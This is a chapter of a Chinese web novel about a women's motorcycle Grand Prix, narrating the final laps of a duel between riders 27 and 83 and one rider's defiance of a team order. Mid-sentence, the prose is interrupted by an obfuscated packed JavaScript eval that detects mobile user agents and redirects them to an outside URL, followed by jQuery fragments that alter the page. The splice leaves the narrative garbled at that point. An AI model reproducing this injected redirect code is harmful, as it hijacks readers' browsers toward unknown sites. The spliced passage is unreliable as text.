齐成钰来到江会身后，两个人见面就毫不留手。


    齐成钰的轮胎情况经过休息降温已经好多了，江会即使面对全场接连不断的针对，她的赛车状态依然稳定。


    只剩最后七圈，不必再节省轮胎，齐成钰不再试探，搬出自己标志性的晚刹。


    江会苦心钻研她也不是白钻研的，正赛这么多缠斗圈下来，江会对她的攻击方式有了一定了解，预判到齐成钰的走线，江会防得滴水不漏。


    在十号弯，齐成钰复刻冲刺赛的极限晚刹，这次做得更彻底，她衔接九号弯整体节奏顺畅，比在冲刺赛那次更加精准，成功超过了江会！


    但她的领先没有持续太久，仅仅一圈过后，江会在四号弯反超回来！


    她在这里的表现精彩绝伦，其她车手包括齐成钰难以驾驭的四号弯，落在她手里举重若轻，从容到让人怀疑，这个弯道的难度真有说的那么高吗？


    她们这样纠缠到了倒数第四圈，自三号弯冲出，快速接近四号弯，这一段直道上，齐成钰贴得很近。


    速度让赛道两旁的事物融化成模糊的胶卷影像，她听见风噪。


    她和江会的矛盾像一座冰山，海面上的仅有一角，观众，车迷或者粉丝，她们看到的只有赛场上的冲突，更多的却在两年前，或许就在昨天。


    虽然遭遇事故，但她赢了，赛会干事裁定事故为意外，驳回江会方的上诉，但是这个时候，车队居然想的是先将重心放在江会的冠军上，而且还要拿她的数据给江会试车。


    江会不知道吗？


    这其中有一部分是用来稳住陈恺的决定，另一部分兴许是车队的倾向，向一号车手投入更多资源，全力为她创造卫冕机会，江会就算一开始不知道，陈恺或者领队也会告诉她，跟她商议。


    她听得见风噪，听得见引擎的声音，前叉、减震、刹车、轮胎与路面接触她都能听见。


    那么问题是，齐成钰扪心自问，第二算什么？


    晚刹，不断估算着自己和最晚弯心点的距离，完全卡在极限前的最后0.1秒，前减震剧烈压缩，入弯，一如既往，这里外倾的路面无形中把整辆车向外拉扯，她立刻感觉到转向不足，她更难操控前轮。


    她感到后轮在滑，滑动得太多了，仿佛随时会丢失抓地力，在这里出现这么高的滑动量显然有问题。


    但这个问题或许可以抛到一边，她总是太依赖前轮，她和塞西尔都有这个问题。


    这是齐成钰在这条赛道，首次接受后轮处于不稳定漂移状态入弯，它比她习惯的滑胎入弯的滑动量还要高出一些，这让她不敢侧滑，过去的二十几圈里，她宁愿损失速度也想保持车身稳定。


    现在这样不够稳定，几乎，甚至是下一刻就会丢失后轮摔出赛道，像在自由练习时那样。


    摔了就意味着退赛，连第二都得不到，永远失去那个尚有机会争一争的总冠军。


    可是她想赌，也接受输了一无所有，第二和一无所有没有区别。


    不再去想所有失利都留到下一站处理，她的积分从零分开始几乎没有容错空间，而她也不想接受任何一次败绩，她只赌一个能赢的可能性。


    倾角压至极限手肘磨到路面，与地面将近平行，带着倾角和刹车滑胎入弯，放任后轮漂移提供的极限状态，忽然之间，好像有什么不一样了，前轮得到了更多接地面积。


    难以掌控的路面此时此刻像被铺平，齐成钰脑海里一瞬间便计算出最佳路线！


    碾进弯心时后轮转速在增加，电控最低限度地介入，后轮渐渐退出极限状态，它找到自己，它找回抓地力的速度更快！于是将赛车更快地推往出弯点，前轮转向瞬间解放——


    齐成钰紧贴江会的车身，距离极其近，逼近理想出弯点，精准无误地给油！车身处在稳定和不稳定状态之间，像一道随手勾勒的飘逸弧线，这道弧线刮来的风压住了江会，齐成钰速度快得令人难以置信，还没有出弯，她已经越过了江会！


    而在出弯后换挡，加速，一骑绝尘，四号弯紧接五号弯，她保持更高档位入弯。


    T6到T8，进入左弯后齐成钰会近一步扩大优势，赛道的后半程全然成为了齐成钰的个人秀！


    “27在江会擅长的超车点超过了她！”


    “我们还记得这个周末27在四号弯表现出的挣扎与无力，但年轻的世界冠军展现出来的适应力远超我们想象，”解说顿了一下，笑着说道：“这不单单是赛场上最年轻的世界冠军，她到现在也是赛场上最年轻的选手。”


    江会奋力追赶了两圈后，她的轮胎陷入危机，而在混战中节省了较多轮胎的塞西尔终于体会到了冷静的好处，不枉弗朗西斯给她发了那么多条“冷静下来”。


    趁她病要她命，过了这村没这店，塞西尔立即发动攻击。


    比赛倒数第二圈，蛰伏许久的梅赛德斯不鸣则已一鸣惊人，T6到T9的中高速弯道中借助尾流迅速过掉了斯凯勒。


    斯凯勒和塞西尔不同，她不觉得这是瞎猫碰上死耗子。


    因为在她有意破坏尾流的情况下，梅赛德斯依然找到了那个转瞬即逝的低压区，这种对时机的把握能力令人心惊，只要给梅赛德斯一个机会，再微小都会被她趁热打铁转化成优势。


    梅赛德斯比塞西尔难缠太多了。


    TC致力于打造均衡型赛车，赛场中两位为TC工作过的车手不约而同地展现相似的特质。


    如果这是一场考试，塞西尔明显偏科了，而江会和梅赛德斯她们的试卷，每一科都会是个“优”。


    超过斯凯勒并成功防守的瞬间，两位解说同时惊呼，梅赛德斯再一次展示了什么叫用车手的技术掩盖车辆本身的不足。


    随着热情的欢呼，应援席马上亮出白蓝色的旗帜，梅赛德斯通过时，热情的呼声达到顶峰。


    印着车号“44”的旗子挥舞在蓝天之下。


    天晴了，阴云散去，是风或者欢呼，吹得旗子猎猎作响，边缘闪耀着金芒。


    赛道上，几辆车先后冲过发车直道。


    斯凯勒多次尝试进攻梅赛德斯，均无功而返，梅赛德斯对她全神贯注，视她为最大威胁，一时之间难以突破。


    塞西尔紧咬江会，似乎发觉了江会的犹豫不决，塞西尔瞄准江会薄弱的内线。


    她进攻失败，江会迅速反应过来将她阻挡在外，化解了这次攻击，不过也导致江会在通过二号弯时出现了细微摇晃——她的轮胎即将消耗殆尽。


    这是比赛最后一圈。


    江会只要放弃追击齐成钰，不再推进极限，收着点跑，她的轮胎还能支撑她防住塞西尔，跑完这场比赛。


    后方的塞西尔虎视眈眈，这不是她该意气用事的时候。


    江会一直是这样做的，不涉险，冷静判断形势，追不上就放弃，像她在瀛岛站做的那样。


    她不赞同梅赛德斯那样的机会主义者，江会不会为了几个积分拼命，她企图让事情永远以当前最佳的模式进行下去。


    得到第二没什么不好的，守住优势至关重要，她的积分稳步上升，以第二名的身份完赛，她的积分即将和斯凯勒塞西尔持平。


    她的目标是总冠军，不是分站冠军，不应该铤而走险。


    仪表盘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216959|194743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上，车队的消息弹出，导播没有放在直播画面上，除了江会和领队，没人知道这句话究竟是什么。


    第二名无关紧要，分站冠亚徒有虚名，别以身犯险，别负气斗狠。


    做出明智之举，是时候放弃了。


    该放弃了。


    但是——


    “江会还在加速，她全速推进——我们能够清晰地看见她的轮胎状态不佳，她的前轮有所晃动，这种晃动会随着持续的推进加剧——她已经来到了齐成钰身后！”


    突破三号弯，熟悉的直道，熟悉的位置，她迅速逼近齐成钰，代价是轮胎急剧耗损。


    她听得见赛道撕扯轮胎的声音，听得见引擎在极限时会发出的那种嘶鸣，但这些声音，全部的这些声音，远不如她强烈的心跳声。


    一秒，两秒，她不需要刻意记住刹车点，四号弯的最佳刹车点已经烂熟于心，制动，刹车，入弯。


    在这里，所谓的“最擅长”的弯道，江会操控车辆精准入弯，像她无数次做过的那样。


    外倾的路面难以影响她，江会从内线杀了上来，在内线硬生生把齐成钰挤了出去，紧贴那辆标着“27”车号的赛车，距离太近了，航拍镜头下简直像贴在一起的，所有声音都安静下来了，在这绝对安静的毫秒之刻，尚有一样东西永不停歇。


    没有刮蹭，没有碰撞！距离齐成钰的膝盖甚至只有两厘米，但碰撞没有再次发生。


    江会再一次、再一次复刻她没有任何偏移的完美走线！


    每一寸力量都用到了极致，仿佛一把锋利的，闪烁着弧光的手术刀，沿着赛道的肌束，轻而易举地切进那看似不可能的弯道顶点，外倾的路面反而给了她车身更快回正的力量，她迅速出弯，拉开一道长长的残影尾迹。


    她的过弯速度，出弯速度，完全不是齐成钰能比的。


    在这里过掉齐成钰？太容易了，如果可以，她能在这里再过掉她27次。


    但是，紧接着衔接五号弯，江会的前轮逸散一缕青烟。


    “太可惜了！江会前轮状态不佳，她可能守不住位置……”


    她的轮胎已在极限，无法继续，消耗的比她想象得多，仅剩的轮胎不再支持这样的速度，也不再支持江会一直追求的精准。


    切进五号弯，江会的线路因轮胎所剩无几，抓地力降低速度锐降，迫不得已线路外抛，齐成钰轻轻松松切进弯心取回位置。


    在接下来的半程比赛中，江会穷途末路，再无还击之力，被塞西尔和梅赛德斯相继超过。


    最后一丝轮胎耗竭，勉强从斯凯勒手里抢下第四名。


    “奥地利大奖赛的最终冠军已经诞生！”


    “拿下长安瀛岛奥地利三连胜，告别两年前，这或许是一个新的传奇！”


    “塞西尔斩获20积分——”


    “梅赛德斯力证自己，终于再次站上颁奖台！”


    江会冲过终点线，看台上呼声响彻，比齐成钰夺冠时的声音更加热烈。


    她的车已经跑不了了，自然没办法进行最后的巡场圈，将车停靠在路边，好在围栏另一边就是维修区，工作人员和车队技师们很快赶来。


    江会抬头看向正对着维修区的主看台，主看台其实没有专门设置应援席，但此刻却沉没在一片黑绿色的海洋，她甚至看到许多人举起那些印着“83”的大旗。


    她看过去的瞬间，热烈的声音再度推上顶峰，隔着头盔和耳塞都能够听见，旗帜在半空挥舞，飘扬，肆无忌惮，仿佛风是它带来的。


    江会花了点时间，摘下头盔，向看台张开手臂，回应那些欢呼与喝彩。